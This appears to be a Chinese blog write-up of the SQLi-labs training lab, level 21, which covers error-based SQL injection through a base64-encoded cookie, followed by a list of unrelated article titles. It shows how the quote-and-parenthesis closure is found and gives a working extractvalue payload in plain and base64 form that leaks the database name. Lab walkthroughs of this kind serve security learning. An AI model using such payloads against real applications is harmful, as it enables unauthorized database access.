SQLI DUMB SERIES-21
2024-10-18 16:35:15
Cookie Injection- Error Based- complex - string ( 基于错误的复杂的字符型Cookie注入)
（1）登录成功后有以下页面：
其中红圈内的字符为admin的BASED64编码后的字符。
(2)用burp抓包，再刷新浏览器。
寻找闭合方式：明文：admin' --+ based64编码：YWRtaW4nICAtLSs=
闭合方式为' )
(3)开始报错注入，需要将payload用based63编码输入。例如：爆表名
admin') and extractvalue(1,concat(0x7e,(select database())))and ('
编码：
YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSkpYW5kICgn
最新文章
- [LeetCode] Power of Two 判断2的次方数
- WhaleSong
- GZAPI框架初识
- 对IEnumerable<T>和IQueryable<T>的一点见解
- QT在windows下实现截屏操作并保存为png图片
- vs2012编译出错“LC.exe”已退出解决方法
- spoj 2178
- Performance Counter的使用
- ArrayList实现根据某属性大小相间排序
- Impala中的代码生成技术
- Java建造者模式
- mysql-笔记-默认值
- CSS属性速查表
- 阿里云，未找到或无法访问服务器.请验证实例名称是否正确并且 SQL Server 已配置为允许远程连接.
- php 创建返回结果配置文件 实例
- mysql系列四、mySQL四舍五入函数用法总结
- thrift使用案例
- Python.Flask.0
- iOS常用第三方类库及Xcode插件
- springboot之websocket，STOMP协议